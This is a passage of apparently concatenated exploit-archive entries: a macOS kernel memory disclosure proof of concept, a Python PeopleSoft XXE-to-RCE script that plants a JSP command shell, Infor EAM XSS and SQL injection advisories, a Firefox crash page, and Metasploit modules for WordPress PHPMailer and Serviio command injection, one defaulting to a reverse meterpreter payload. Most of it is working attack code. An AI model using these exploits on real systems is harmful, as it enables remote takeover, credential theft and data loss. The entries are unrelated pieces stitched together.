      NETAGENTLOG0(LOG_ERR, "Failed to find session");
      response_error = EINVAL;
      goto done;
    }

    if (payload == NULL) {
      NETAGENTLOG0(LOG_ERR, "No payload received");
      response_error = EINVAL;
      goto done;
    }

    if (session->wrapper != NULL) {
      NETAGENTLOG0(LOG_ERR, "Session already has a registered agent");
      response_error = EINVAL;
      goto done;
    }

    if (payload_length < sizeof(struct netagent)) {                              <----------- (b)
      NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d < %d)",
            payload_length, sizeof(struct netagent));
      response_error = EINVAL;
      goto done;
    }

    data_size = register_netagent->netagent_data_size;
    if (data_size < 0 || data_size > NETAGENT_MAX_DATA_SIZE) {                      <----------- (c)
      NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d",
            data_size);
      response_error = EINVAL;
      goto done;
    }

    MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK);
    if (new_wrapper == NULL) {
      NETAGENTLOG0(LOG_ERR, "Failed to allocate agent");
      response_error = ENOMEM;
      goto done;
    }

    memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size);
    memcpy(&new_wrapper->netagent, register_netagent, sizeof(struct netagent) + data_size);   <------------ (d)

    response_error = netagent_handle_register_inner(session, new_wrapper);
    if (response_error != 0) {
      FREE(new_wrapper, M_NETAGENT);
      goto done;
    }

    NETAGENTLOG0(LOG_DEBUG, "Registered new agent");
    netagent_post_event(new_wrapper->netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE);

  done:
    return response_error;
  }


The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel.

At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure.
Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of
data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain
data_size bytes of data though.

This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap.

Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1
*/

// ianbeer
#if 0
iOS/MacOS kernel memory disclosure due to lack of bounds checking in netagent socket option handling

netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type
NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code:

	static errno_t
	netagent_handle_register_setopt(struct netagent_session *session, u_int8_t *payload,
									u_int32_t payload_length)
	{
		int data_size = 0;
		struct netagent_wrapper *new_wrapper = NULL;
		u_int32_t response_error = 0;
		struct netagent *register_netagent = (struct netagent *)(void *)payload;   <----------- (a)

		if (session == NULL) {
			NETAGENTLOG0(LOG_ERR, "Failed to find session");
			response_error = EINVAL;
			goto done;
		}

		if (payload == NULL) {
			NETAGENTLOG0(LOG_ERR, "No payload received");
			response_error = EINVAL;
			goto done;
		}

		if (session->wrapper != NULL) {
			NETAGENTLOG0(LOG_ERR, "Session already has a registered agent");
			response_error = EINVAL;
			goto done;
		}

		if (payload_length < sizeof(struct netagent)) {                              <----------- (b)
			NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d < %d)",
						payload_length, sizeof(struct netagent));
			response_error = EINVAL;
			goto done;
		}

		data_size = register_netagent->netagent_data_size;
		if (data_size < 0 || data_size > NETAGENT_MAX_DATA_SIZE) {                      <----------- (c)
			NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d",
						data_size);
			response_error = EINVAL;
			goto done;
		}

		MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK);
		if (new_wrapper == NULL) {
			NETAGENTLOG0(LOG_ERR, "Failed to allocate agent");
			response_error = ENOMEM;
			goto done;
		}

		memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size);
		memcpy(&new_wrapper->netagent, register_netagent, sizeof(struct netagent) + data_size);   <------------ (d)

		response_error = netagent_handle_register_inner(session, new_wrapper);
		if (response_error != 0) {
			FREE(new_wrapper, M_NETAGENT);
			goto done;
		}

		NETAGENTLOG0(LOG_DEBUG, "Registered new agent");
		netagent_post_event(new_wrapper->netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE);

	done:
		return response_error;
	}


The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel.

At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure.
Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of
data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain
data_size bytes of data though.

This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap.

Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1
#endif
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/kern_control.h>
#include <sys/sys_domain.h>
#include <net/if.h>
#include <netinet/in_var.h>
#include <netinet6/nd6.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int ctl_open(char* control_name) {
  int           sock;
  int           error     = 0;
  struct ctl_info     kernctl_info;
  struct sockaddr_ctl   kernctl_addr;

  sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
  if (sock < 0) {
    printf("failed to open a SYSPROTO_CONTROL socket: %s\n", strerror(errno));
    goto done;
  }

  memset(&kernctl_info, 0, sizeof(kernctl_info));
  strlcpy(kernctl_info.ctl_name, control_name, sizeof(kernctl_info.ctl_name));

  error = ioctl(sock, CTLIOCGINFO, &kernctl_info);
  if (error) {
    printf("Failed to get the control info for control named \"%s\": %s\n", control_name, strerror(errno));
    goto done;
  }

  memset(&kernctl_addr, 0, sizeof(kernctl_addr));
  kernctl_addr.sc_len = sizeof(kernctl_addr);
  kernctl_addr.sc_family = AF_SYSTEM;
  kernctl_addr.ss_sysaddr = AF_SYS_CONTROL;
  kernctl_addr.sc_id = kernctl_info.ctl_id;
  kernctl_addr.sc_unit = 0;

  error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr));
  if (error) {
    printf("Failed to connect to the control socket: %s\n", strerror(errno));
    goto done;
  }

done:
  if (error && sock >= 0) {
    close(sock);
    sock = -1;
  }

  return sock;
}

#define NETAGENT_OPTION_TYPE_REGISTER 1
#define NETAGENT_DOMAINSIZE   32
#define NETAGENT_TYPESIZE   32
#define NETAGENT_DESCSIZE   128

struct netagent_req64 {
	uuid_t		netagent_uuid;
	char		netagent_domain[NETAGENT_DOMAINSIZE];
	char		netagent_type[NETAGENT_TYPESIZE];
	char		netagent_desc[NETAGENT_DESCSIZE];
	u_int32_t	netagent_flags;
	u_int32_t	netagent_data_size;
	uint64_t	netagent_data __attribute__((aligned(8)));
};

struct netagent {
	uuid_t		netagent_uuid;
	char		netagent_domain[NETAGENT_DOMAINSIZE];
	char		netagent_type[NETAGENT_TYPESIZE];
	char		netagent_desc[NETAGENT_DESCSIZE];
	u_int32_t	netagent_flags;
	u_int32_t	netagent_data_size;
	u_int8_t	netagent_data[0];
};

#define SIOCGIFAGENTDATA64    _IOWR('i', 168, struct netagent_req64)

int main(){
  int fd = ctl_open("com.apple.net.netagent");
  if (fd < 0) {
    printf("failed to get control socket :(\n");
    return 1;
  }
  printf("got a control socket! %d\n", fd);

  struct netagent na = {0};
  na.netagent_uuid[0] = 123;
  na.netagent_data_size = 4096;

  int err = setsockopt(fd,
                       SYSPROTO_CONTROL,
                       NETAGENT_OPTION_TYPE_REGISTER,
                       &na,
                       sizeof(na));
  if (err == -1) {
    perror("setsockopt failed");
    return 0;
  } else {
    printf("set the option!\n");
  }

  uint64_t* buf = malloc(4096);
  memset(buf, 0, 4096);

  struct netagent_req64 req = {0};
  req.netagent_uuid[0] = 123;
  req.netagent_data_size = 4096;
  req.netagent_data = (uint64_t)buf;


  err = ioctl(fd, SIOCGIFAGENTDATA64, &req);
  if (err == -1) {
    perror("get getinterface agent data failed");
  }else {
    printf("got something?\n");
    for (int i = 0; i < 4096/8; i++) {
      printf("%016llx\n", buf[i]);
    }
  }
  

  return 0;
}
            
#!/usr/bin/python3
# Oracle PeopleSoft SYSTEM RCE
# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
# cf
# 2017-05-17

import requests
import urllib.parse
import re
import string
import random
import sys


from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


try:
    import colorama
except ImportError:
    colorama = None
else:
    colorama.init()

    COLORS = {
        '+': colorama.Fore.GREEN,
        '-': colorama.Fore.RED,
        ':': colorama.Fore.BLUE,
        '!': colorama.Fore.YELLOW
    }


URL = sys.argv[1].rstrip('/')
CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
PROXY = 'localhost:8080'

# shell.jsp?c=whoami
PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>'


class Browser:
    """Wrapper around requests.
    """

    def __init__(self, url):
        self.url = url
        self.init()

    def init(self):
        self.session = requests.Session()
        self.session.proxies = {
            'http': PROXY,
            'https': PROXY
        }
        self.session.verify = False

    def get(self, url ,*args, **kwargs):
        return self.session.get(url=self.url + url, *args, **kwargs)

    def post(self, url, *args, **kwargs):
        return self.session.post(url=self.url + url, *args, **kwargs)

    def matches(self, r, regex):
        return re.findall(regex, r.text)


class Recon(Browser):
    """Grabs different informations about the target.
    """

    def check_all(self):
        self.site_id = None
        self.local_port = None
        self.check_version()
        self.check_site_id()
        self.check_local_infos()

    def check_version(self):
        """Grabs PeopleTools' version.
        """
        self.version = None
        r = self.get('/PSEMHUB/hub')
        m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).</b>')

        if m:
            self.version = m[0]
            o(':', 'PTools version: %s' % self.version)
        else:
            o('-', 'Unable to find version')

    def check_site_id(self):
        """Grabs the site ID and the local port.
        """
        if self.site_id:
            return

        r = self.get('/')
        m = self.matches(r, '/([^/]+)/signon.html')

        if not m:
            raise RuntimeError('Unable to find site ID')

        self.site_id = m[0]
        o('+', 'Site ID: ' + self.site_id)

    def check_local_infos(self):
        """Uses cookies to leak hostname and local port.
        """
        if self.local_port:
            return

        r = self.get('/psp/%s/signon.html' % self.site_id)

        for c, v in self.session.cookies.items():
            if c.endswith('-PORTAL-PSJSESSIONID'):
                self.local_host, self.local_port, *_ = c.split('-')
                o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
                return

        raise RuntimeError('Unable to get local hostname / port')


class AxisDeploy(Recon):
    """Uses the XXE to install Deploy, and uses its two useful methods to get
    a shell.
    """

    def init(self):
        super().init()
        self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)

    def random_string(self, size):
        return ''.join(random.choice(string.ascii_letters) for _ in range(size))

    def url_service(self, payload):
        return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
            self.local_port,
            urllib.parse.quote_plus(self.psoap(payload))
        )

    def war_path(self, name):
        # This is just a guess from the few PeopleSoft instances we audited.
        # It might be wrong.
        suffix = '.war' if self.version and self.version >= '8.50' else ''
        return './applications/peoplesoft/%s%s' % (name, suffix)

    def pxml(self, payload):
        """Converts an XML payload into a one-liner.
        """
        payload = payload.strip().replace('\n', ' ')
        payload = re.sub('\s+<', '<', payload, flags=re.S)
        payload = re.sub('\s+', ' ', payload, flags=re.S)
        return payload

    def psoap(self, payload):
        """Converts a SOAP payload into a one-liner, including the comment trick
        to allow attributes.
        """
        payload = self.pxml(payload)
        payload = '!-->%s' % payload[:-1]
        return payload

    def soap_service_deploy(self):
        """SOAP payload to deploy the service.
        """
        return """
        <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
            <ns1:service name="%s" provider="java:RPC">
                <ns1:parameter name="className" value="%s"/>
                <ns1:parameter name="allowedMethods" value="*"/>
            </ns1:service>
        </ns1:deployment>
        """ % (self.service_name, CLASS_NAME)

    def soap_service_undeploy(self):
        """SOAP payload to undeploy the service.
        """
        return """
        <ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
        <ns1:service name="%s"/>
        </ns1:undeployment>
        """ % (self.service_name, )

    def xxe_ssrf(self, payload):
        """Runs the given AXIS deploy/undeploy payload through the XXE.
        """
        data = """
        <?xml version="1.0"?>
        <!DOCTYPE IBRequest [
        <!ENTITY x SYSTEM "%s">
        ]>
        <IBRequest>
           <ExternalOperationName>&x;</ExternalOperationName>
           <OperationType/>
           <From><RequestingNode/>
              <Password/>
              <OrigUser/>
              <OrigNode/>
              <OrigProcess/>
              <OrigTimeStamp/>
           </From>
           <To>
              <FinalDestination/>
              <DestinationNode/>
              <SubChannel/>
           </To>
           <ContentSections>
              <ContentSection>
                 <NonRepudiation/>
                 <MessageVersion/>
                 <Data>
                 </Data>
              </ContentSection>
           </ContentSections>
        </IBRequest>
        """ % self.url_service(payload)
        r = self.post(
            '/PSIGW/HttpListeningConnector',
            data=self.pxml(data),
            headers={
                'Content-Type': 'application/xml'
            }
        )

    def service_check(self):
        """Verifies that the service is correctly installed.
        """
        r = self.get('/pspc/services')
        return self.service_name in r.text

    def service_deploy(self):
        self.xxe_ssrf(self.soap_service_deploy())

        if not self.service_check():
            raise RuntimeError('Unable to deploy service')

        o('+', 'Service deployed')

    def service_undeploy(self):
        if not self.local_port:
            return

        self.xxe_ssrf(self.soap_service_undeploy())

        if self.service_check():
            o('-', 'Unable to undeploy service')
            return

        o('+', 'Service undeployed')

    def service_send(self, data):
        """Send data to the Axis endpoint.
        """
        return self.post(
            '/pspc/services/%s' % self.service_name,
            data=data,
            headers={
                'SOAPAction': 'useless',
                'Content-Type': 'application/xml'
            }
        )

    def service_copy(self, path0, path1):
        """Copies one file to another.
        """
        data = """
        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:copy
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <in0 xsi:type="xsd:string">%s</in0>
            <in1 xsi:type="xsd:string">%s</in1>
        </api:copy>
        </soapenv:Body>
        </soapenv:Envelope>
        """.strip() % (path0, path1)
        response = self.service_send(data)
        return '<ns1:copyResponse' in response.text

    def service_main(self, tmp_path, tmp_dir):
        """Writes the payload at the end of the .xml file.
        """
        data = """
        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <api:in0>
                <item xsi:type="xsd:string">%s</item>
                <item xsi:type="xsd:string">%s</item>
                <item xsi:type="xsd:string">%s.war</item>
                <item xsi:type="xsd:string">something</item>
                <item xsi:type="xsd:string">-addToEntityReg</item>
                <item xsi:type="xsd:string"><![CDATA[%s]]></item>
            </api:in0>
        </api:main>
        </soapenv:Body>
        </soapenv:Envelope>
        """.strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
        response = self.service_send(data)

    def build_shell(self):
        """Builds a SYSTEM shell.
        """
        # On versions >= 8.50, using another extension than JSP got 70 bytes
        # in return every time, for some reason.
        # Using .jsp seems to trigger caching, thus the same pivot cannot be
        # used to extract several files.
        # Again, this is just from experience, nothing confirmed
        pivot = '/%s.jsp' % self.random_string(20)
        pivot_path = self.war_path('PSOL') + pivot
        pivot_url = '/PSOL' + pivot

        # 1: Copy portletentityregistry.xml to TMP

        per = '/WEB-INF/data/portletentityregistry.xml'
        per_path = self.war_path('pspc')
        tmp_path = '../' * 20 + 'TEMP'
        tmp_dir = self.random_string(20)
        tmp_per = tmp_path + '/' + tmp_dir + per

        if not self.service_copy(per_path + per, tmp_per):
            raise RuntimeError('Unable to copy original XML file')

        # 2: Add JSP payload
        self.service_main(tmp_path, tmp_dir)

        # 3: Copy XML to JSP in webroot
        if not self.service_copy(tmp_per, pivot_path):
            raise RuntimeError('Unable to copy modified XML file')

        response = self.get(pivot_url)

        if response.status_code != 200:
            raise RuntimeError('Unable to access JSP shell')

        o('+', 'Shell URL: ' + self.url + pivot_url)


class PeopleSoftRCE(AxisDeploy):
    def __init__(self, url):
        super().__init__(url)


def o(s, message):
    if colorama:
        c = COLORS[s]
        s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
    print('%s %s' % (s, message))


x = PeopleSoftRCE(URL)

try:
    x.check_all()
    x.service_deploy()
    x.build_shell()
except RuntimeError as e:
    o('-', e)
finally:
    x.service_undeploy()
            
Stored XSS in INFOR EAM V11.0 Build 201410 via comment fields
-------------------
Assigned CVE: CVE-2017-7953

Reproduction steps:
-------------------
1. Log in with your EAM account
2. Go to the jobs page
3. Click on a record and open its page
4. Go to "Comments" tab
4. Click the add new comment button
5. Insert a comment containing javascript code, e.g. <img src=fakesource onerror="alert(document.cookie)"> Fake comment here
6. Save, and after page reloading the XSS should trigger

Example:
-------------------
PoC Screenshot: https://www.dropbox.com/s/2b859x9go8v9f2l/xss.png?dl=0


Exploitability
-------------------
In EAM software user comments have read classification to every 
authenticated users. Any authenticated user could became a valid victim to 
the described attack by navigate (spontaneously or not) to the infected 
page. The comment visualization triggers injected javascript code.
On the other side any user able to write a comment could become a possible 
attacker by introducing javascript into the comment body.

Impact
-------------------
By reading browser cookies an attacker could ultimately grab administrative 
credentials having access to each available EAM action.
The vulnerability could ultimately allow an attacker to steal credential, 
leak sensitive data, trick user to download malware.

Disclosure timeline
-------------------

26.04.2017 Vulnerability reported to vendor
15.05.2017 Advisory published
            
<!--
Title:
==============
Unpatched Mozilla Firefox v50 - v55 Stack Overflow DoS Vulnerability

References:
==============
https://bugzilla.mozilla.org/show_bug.cgi?id=1322307

Timeline:
==============
Reported to Mozilla: 2016-12-06
Mozilla made public: 2016-12-15
Declined bounty: 2017-01-30
Advisory released: 2017-05-16

Technical Details:
==============
A stack overflow DoS vulnerability affecting Firefox versions 50 through 55 was discovered by Geeknik Labs. This flaw does NOT affect ESR 45 or the latest version of the Tor Browser Bundle. This flaw can be triggered by simply visiting a website with the PoC code embedded in it and requires no further user interaction nor does it require any special privileges. Successful exploitation results in the browser tab crashing.

Security Level:
==============
Medium

CVSS Score:
==============
3

Proof of Concept:
==============
-->

<html>
<head></head>
<body>
<script>
function done() {
}

var x = '';
for (i=0; i<500000; ++i)
x += '<a>';
var uri = 'data:image/svg+xml,' + x;
var i = new Image();
i.src = uri;
</script>
</body>
</html>

<!--
Visiting https://bugzilla.mozilla.org/attachment.cgi?id=8817075 may likely crash your browser tab.

Debug Information:
==============

(ff4.1108): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=5e3be520 ebx=00000000 ecx=256fab00 edx=00000001 esi=00000001 edi=256faab0
eip=5c718053 esp=00802ff4 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
xul!mozilla::dom::Element::UnbindFromTree+0x3:
5c718053 53 push ebx

FAULTING_IP:
xul!nsINode::doRemoveChildAt+6a [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsinode.cpp @ 1910]
5c805677 8d4df8 lea ecx,[ebp-8]

BUCKET_ID: STACK_OVERFLOW_xul!nsINode::doRemoveChildAt+6a
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_xul!nsINode::doRemoveChildAt+6a

Credits:
==============
Brian Carpenter, Geeknik Labs, https://twitter.com/geeknik
-->
            
SQL injection in INFOR EAM V11.0 Build 201410 search fields (web/base/..)  via filtervalue parameter
-------------------
Assigned CVE: CVE-2017-7952

Reproduction steps:
-------------------
1. Log in with your EAM account
2. Go to any page with a search or filter field in it (for example web/base/WSJOBS.xmlhttp) 
3. Make any search and intercept the request with a proxy 
4. In the intercepted request, replace the value of "filteroperator" parameter with IN.
5. The "filtervalue" become vulnerable to SQL Injection

Example:
-------------------
URL:http://<EAM_IP>/web/base/WSJOBS.xmlhttp
POST DATA: 
GRID_ID=<ID>&GRID_NAME=WSJOBS&DATASPY_ID=<ID>&USER_FUNCTION_NAME=WSJOBS&SYSTEM_FUNCTION_NAME=WSJOBS&CURRENT_TAB_NAME=LST&COMPONENT_INFO_TYPE=DATA_ONLY&filterfields=<field>&filteroperator=IN&filtervalue=<injection point>

Exploitability
-------------------
Since the SQL injection vulnerability is available for any logged users, an 
attacker needs a valid credential to exploit that vulnerability. By 
exploiting that SQL Injection the attacker could obtain any available data 
(even if they don’t belongs directly to him), eventually deleting and 
replacing data as well.

Impact
-------------------
This vulnerability allows full database access. It includes sensitive 
information that normally should be accessed by specific users.
An attacker could dump the user table, which contains usernames and 
password hashes, and proceed to bruteforcing passwords offline and could 
possibly obtain administrative credentials, or could access private files 
or personal details such as: telephone numbers, physical address and 
private assets.
Obtaining administrative credentials would allow an attacker to perform 
actions like: add or deleting users, jobs, and everything else an admin can 
do.
By having access to sensible information the attacker could eventually 
pivoting them to perform further attacks on different target assets.

Disclosure timeline
-------------------

26.04.2017 Vulnerability reported to vendor
15.05.2017 Advisory published
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = AverageRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'WordPress PHPMailer Host Header Command Injection',
      'Description'         => %q{
        This module exploits a command injection vulnerability in WordPress
        version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer,
        a mail-sending library that is bundled with WordPress.

        A valid WordPress username is required to exploit the vulnerability.
        Additionally, due to the altered Host header, exploitation is limited to
        the default virtual host, assuming the header isn't mangled in transit.

        If the target is running Apache 2.2.32 or 2.4.24 and later, the server
        may have HttpProtocolOptions set to Strict, preventing a Host header
        containing parens from passing through, making exploitation unlikely.
      },
      'Author'              => [
        'Dawid Golunski', # Vulnerability discovery
        'wvu'             # Metasploit module
      ],
      'References'          => [
        ['CVE', '2016-10033'],
        ['URL', 'https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html'],
        ['URL', 'http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html'],
        ['URL', 'https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions']
      ],
      'DisclosureDate'      => 'May 3 2017',
      'License'             => MSF_LICENSE,
      'Platform'            => 'linux',
      'Arch'                => [ARCH_X86, ARCH_X64],
      'Privileged'          => false,
      'Targets'             => [
        ['WordPress 4.6 / Exim', {}]
      ],
      'DefaultTarget'       => 0,
      'DefaultOptions'      => {
        'PAYLOAD'           => 'linux/x64/meterpreter_reverse_https',
        'CMDSTAGER::FLAVOR' => 'wget'
      },
      'CmdStagerFlavor'     => ['wget', 'curl']
    ))

    register_options([
      OptString.new('USERNAME', [true, 'WordPress username', 'admin'])
    ])

    register_advanced_options([
      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
    ])

    deregister_options('VHOST', 'URIPATH')
  end

  def check
    if (version = wordpress_version)
      version = Gem::Version.new(version)
    else
      return CheckCode::Safe
    end

    vprint_status("WordPress #{version} installed at #{full_uri}")

    if version <= Gem::Version.new('4.6')
      CheckCode::Appears
    else
      CheckCode::Detected
    end
  end

  def exploit
    if check == CheckCode::Safe
      print_error("Is WordPress installed at #{full_uri} ?")
      return
    end

    # Since everything goes through strtolower(), we need lowercase
    print_status("Generating #{cmdstager_flavor} command stager")
    @cmdstager = generate_cmdstager(
      'Path'   => "/#{Rex::Text.rand_text_alpha_lower(8)}",
      :temp    => datastore['WritableDir'],
      :file    => File.basename(cmdstager_path),
      :nospace => true
    ).join(';')

    print_status("Generating and sending Exim prestager")
    generate_prestager.each do |command|
      vprint_status("Sending #{command}")
      send_request_payload(command)
    end
  end

  #
  # Exploit methods
  #

  # Absolute paths are required for prestager commands due to execve(2)
  def generate_prestager
    prestager = []

    # This is basically sh -c `wget` implemented using Exim string expansions
    # Badchars we can't encode away: \ for \n (newline) and : outside strings
    prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \
      "{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \
      "{get #{get_resource} http/1.0$value$value}}}}}}"

    # CmdStager should rm the file, but it blocks on the payload, so we do it
    prestager << "/bin/rm -f #{cmdstager_path}"
  end

  def send_request_payload(command)
    res = send_request_cgi(
      'method'        => 'POST',
      'uri'           => wordpress_url_login,
      'headers'       => {
        'Host'        => generate_exim_payload(command)
      },
      'vars_get'      => {
        'action'      => 'lostpassword'
      },
      'vars_post'     => {
        'user_login'  => datastore['USERNAME'],
        'redirect_to' => '',
        'wp-submit'   => 'Get New Password'
      }
    )

    if res && !res.redirect?
      if res.code == 200 && res.body.include?('login_error')
        fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
      elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
        fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
      else
        fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
      end
    end

    res
  end

  def generate_exim_payload(command)
    exim_payload  = Rex::Text.rand_text_alpha(8)
    exim_payload << "(#{Rex::Text.rand_text_alpha(8)} "
    exim_payload << "-be ${run{#{encode_exim_payload(command)}}}"
    exim_payload << " #{Rex::Text.rand_text_alpha(8)})"
  end

  # We can encode away the following badchars using string expansions
  def encode_exim_payload(command)
    command.gsub(/[\/ :]/,
      '/' => '${substr{0}{1}{$spool_directory}}',
      ' ' => '${substr{10}{1}{$tod_log}}',
      ':' => '${substr{13}{1}{$tod_log}}'
    )
  end

  #
  # Utility methods
  #

  def cmdstager_flavor
    datastore['CMDSTAGER::FLAVOR']
  end

  def cmdstager_path
    @cmdstager_path ||=
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
  end

  #
  # Override methods
  #

  # Return CmdStager on first request, payload on second
  def on_request_uri(cli, request)
    if @cmdstager
      print_good("Sending #{@cmdstager}")
      send_response(cli, @cmdstager)
      @cmdstager = nil
    else
      print_good("Sending payload #{datastore['PAYLOAD']}")
      super
    end
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Restlet-Framework/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Serviio Media Server checkStreamUrl Command Execution',
      'Description'    => %q{
        This module exploits an unauthenticated remote command execution vulnerability
        in the console component of Serviio Media Server versions 1.4 to 1.8 on
        Windows operating systems.

        The console service (on port 23423 by default) exposes a REST API which
        which does not require authentication.

        The 'action' API endpoint does not sufficiently sanitize user-supplied data
        in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is
        used in a call to cmd.exe resulting in execution of arbitrary commands.

        This module has been tested successfully on Serviio Media Server versions
        1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>', # Discovery and exploit
          'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '41961'],
          ['PACKETSTORM', '142387'],
          ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php'],
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3094']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'May 3 2017',
      'DefaultTarget'  => 0))
    register_options([ Opt::RPORT(23423) ])
  end

  def check
    res = execute_command('')

    unless res
      vprint_status 'Connection failed'
      return CheckCode::Unknown
    end

    if res.headers['Server'] !~ /Serviio/
      vprint_status 'Target is not a Serviio Media Server'
      return CheckCode::Safe
    end

    if res.headers['Server'] !~ /Windows/
      vprint_status 'Target operating system is not vulnerable'
      return CheckCode::Safe
    end

    if res.code != 200 || res.body !~ %r{<errorCode>603</errorCode>}
      vprint_status 'Unexpected reply'
      return CheckCode::Safe
    end

    if res.headers['Server'] =~ %r{Serviio/(1\.[4-8])}
      vprint_status "#{peer} Serviio Media Server version #{$1}"
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def execute_command(cmd, opts = {})
    data = { 'name' => 'checkStreamUrl', 'parameter' => ['VIDEO', "\" &#{cmd}&"] }
    send_request_cgi('uri'    => normalize_uri(target_uri.path, 'rest', 'action'),
                     'method' => 'POST',
                     'ctype'  => 'application/json',
                     'data'   => data.to_json)
  end

  def exploit
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless check == CheckCode::Appears
    execute_cmdstager(:temp => '.', :linemax => 8000)
  end
end
            
